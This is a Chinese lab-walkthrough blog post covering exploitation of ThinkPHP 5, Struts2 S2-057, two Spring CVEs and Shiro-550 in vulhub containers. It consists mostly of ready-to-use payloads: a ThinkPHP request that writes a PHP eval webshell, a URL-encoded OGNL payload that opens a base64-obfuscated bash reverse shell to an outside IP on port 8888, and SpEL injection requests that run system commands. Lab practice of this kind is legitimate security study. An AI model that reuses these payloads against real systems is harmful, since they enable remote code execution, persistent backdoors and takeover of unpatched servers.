当前位置: 首页 > news >正文

常见框架漏洞靶场攻略

前言:

本文的环境完全是cd vulhub-master靶场,如果之前没有用过建议大家下载一下,此外配套的还要下载docker工具docker-compose工具。另外建议做完一个靶场就docker stop 把容器停掉,要不然会占用端口并且会占用内存。

Web框架:

Web应用框架是用于支持动态网站、网络应用程序及网络服务开发的软件框架,主要分为基于请求和基于组件的两种类型。其通过提供标准组件与通用模板,简化数据库访问、会话管理及界面生成等重复性工作。

Thinkphp(TP)

ThinkPHP 是一个轻量级、高效的 PHP开发框架专注于简化企业级应用开发和敏捷Web开发。以下是其核心特点:
大道至简的设计理念,兼顾性能与易用性,提供单一入口文件和灵活配置系统,降低开发门槛。12
模块化设计,内置数据库、模板引擎、缓存等组件,支持快速搭建应用框架,并可通过扩展插件满足复杂需求。
MVC模式只实现业务逻辑与界面分离,提升代码可维护性。56**命名空间9、Composer依赖管理°等现代化特性,适配 PHP 8.4°等新版语言特性。
自2006年发布以来,ThinkPHP经历了多个版本更新,当前最新版本为5.x(截至2025年7月),持续优化性能与扩展性。适用于中小型项目、快速开发场景,尤其在 电商系统a后台管理系统ª等领域有成熟解决方案。

Thinkphp5x远程命令执行及getshell

漏洞利用:

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。

环境搭建:

cd vulhub-master/thinkphp/5-rce
docker-compose up -d
docker ps

靶场攻略:

输入?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

这说明可以执行系统目录,利用这一特性写入木马

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php eval($_POST["a"]);?>'  >shell.php

访问shell.php

struts2

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

S2-057远程执行代码漏洞

环境搭建:

cd vulhub-master/struts2/s2-057
docker-compose up -d
docker ps

靶场攻略:

访问/struts2-showcase/

在url处输入/${(123+123)}/actionChain1.action

回车,发现数字相加了,说明可以执行系统命令

在原本${(123+123)}的位置上写入

%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D

看起来很复杂,其实这是经过url编码后的语句,他的命令执行语句是exec('whoami')

可以看见,命令被执行,且返回结果是root

我们可以利用这一特性反弹shell

写一个反弹shell语句bash -i >& /dev/tcp/59.110.83.22/8888 0>&1进行base64编码

构造语句

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

这个语句如果执行可以反弹shell,之所以绕这么一下是为了绕过系统的过滤机制。

填入命令执行的地方,url编码一次。

最后语句为/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODg4OCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

在监听机上开启监听

 反弹到了

Spring

Spring框架是由于软件开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益。

Spring Data Rest 远程命令执行命令(CVE-2017-8046)

环境搭建:

cd vulhub-master/spring/CVE-2017-8046
docker-compose up -d
docker ps

靶场攻略:

访问/customers/1

在这个页面抓包,构造请求包

PATCH /customers/1 HTTP/1.1
Host: 59.110.83.22:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1753864547; JSESSIONID=54D0C8AFD21D725865A1AB42228BFE6F
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 03 Aug 2025 10:23:12 GMT
If-None-Match: "0"
Priority: u=0, i
Content-Type: application/json-patch+json
Content-Length: 0[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

 请求体的数字是经过ascii码的touch /tmp/success,如果命令执行会在tmp目录下创建一个success文件

放行,进入容器里查看

创建了。根据这个原理我们可以写入一个木马,不过前提是知道网站的路径,太麻烦这里就不演示了。

spring 代码执行(CVE-2018-1273)

环境搭建:

cd vulhub-master/spring/CVE-2018-1273
docker-compose up -d
docker ps

靶场攻略:

访问/users

在这个页面抓包

把username的参数改成

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/crz")]=&password=&repeatedPassword=,这个命令可以创建一个/tmp/crz文件

进入容器查看一下

Shiro

Shiro rememberMe反序列化漏洞(Shiro-550)

环境搭建

cd vulhub-master/shiro/CVE-2016-4437
docker-compose up -d
docker ps

靶场攻略

利用工具:shiro_attack工具

http://www.lryc.cn/news/609395.html

相关文章:

  • 【LeetCode刷题指南】--对称二叉树,另一颗树的子树
  • C++入门自学Day5-- C/C++内存管理(续)
  • C语言数据结构(7)贪吃蛇项目2.贪吃蛇项目实现
  • Linux 文件系统基本管理
  • python 12 install jupyter时zmq.h或libzmq报错处理
  • 基于springboot的在线考试系统/考试信息管理平台
  • 苍穹外卖项目学习——day1(项目概述、环境搭建)
  • 团队独立思考的力量
  • 机器学习——决策树(DecisionTree)
  • 波士顿房价预测工具 - XGBoost实现
  • 三、驱动篇-HDF驱动介绍1
  • 【Unity】背包系统 + 物品管理窗口 (上)
  • Python 的标准库 bisect 模块
  • 从WebShell 与 ShellCode 免杀技术 打造适合自己的免杀技术链
  • [Oracle] 获取系统当前日期
  • 使用AssemblyAI将音频数据转换成文本
  • [Oracle] TO_DATE()函数
  • gpu instancer crowd 使用自定义材质并且只修改单个物体的材质参数
  • 机器学习 决策树基本介绍
  • [2025ICCV-目标检测方向]DuET:通过无示例任务算术进行双增量对象检测
  • 数据结构:单向链表的函数创建
  • kubernetes基础知识
  • io_cancel系统调用及示例
  • 11.消息队列
  • IDEA查看源码利器XCodeMap插件
  • LangChain4J入门:使用SpringBoot-start
  • 网络规划与设计5个阶段内容
  • 项目日记---高并发内存池整体框架
  • Python中的sys.path与PYTHONPATH全解析:模块导入路径的底层机制与最佳实践
  • 进阶向:YOLOv11模型轻量化